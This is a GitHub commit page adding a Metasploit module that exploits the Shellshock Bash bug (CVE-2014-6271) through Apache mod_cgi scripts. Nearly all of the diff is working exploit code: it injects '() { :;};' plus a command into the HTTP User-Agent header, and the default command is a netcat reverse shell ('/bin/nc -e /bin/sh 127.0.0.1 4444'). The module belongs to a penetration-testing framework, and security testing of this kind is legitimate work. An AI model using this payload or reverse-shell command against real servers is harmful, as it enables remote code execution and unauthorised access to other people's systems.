Skip to content

Commit ff5398b

Browse files
author
Tod Beardsley
committed
Land rapid7#3880, bash scanner module
2 parents 11b9a8a + a600a06 commit ff5398b

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
16+
'Description' => %q{
17+
This module exploits a code injection in specially crafted environment
18+
variables in Bash, specifically targeting Apache mod_cgi scripts through
19+
the HTTP_USER_AGENT variable.
20+
},
21+
'Author' => [
22+
'Stephane Chazelas', # Vulnerability discovery
23+
'wvu' # Metasploit module
24+
],
25+
'References' => [
26+
['CVE', '2014-6271'],
27+
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
28+
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
29+
],
30+
'DisclosureDate' => 'Sep 24 2014',
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options([
35+
OptString.new('TARGETURI', [true, 'Path to CGI script']),
36+
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
37+
'/bin/nc -e /bin/sh 127.0.0.1 4444 &'])
38+
], self.class)
39+
end
40+
41+
def run_host(ip)
42+
send_request_cgi(
43+
'method' => 'GET',
44+
'uri' => normalize_uri(target_uri.path),
45+
'agent' => "() { :;}; #{datastore['CMD']}"
46+
)
47+
end
48+
49+
end

0 commit comments

Comments
 (0)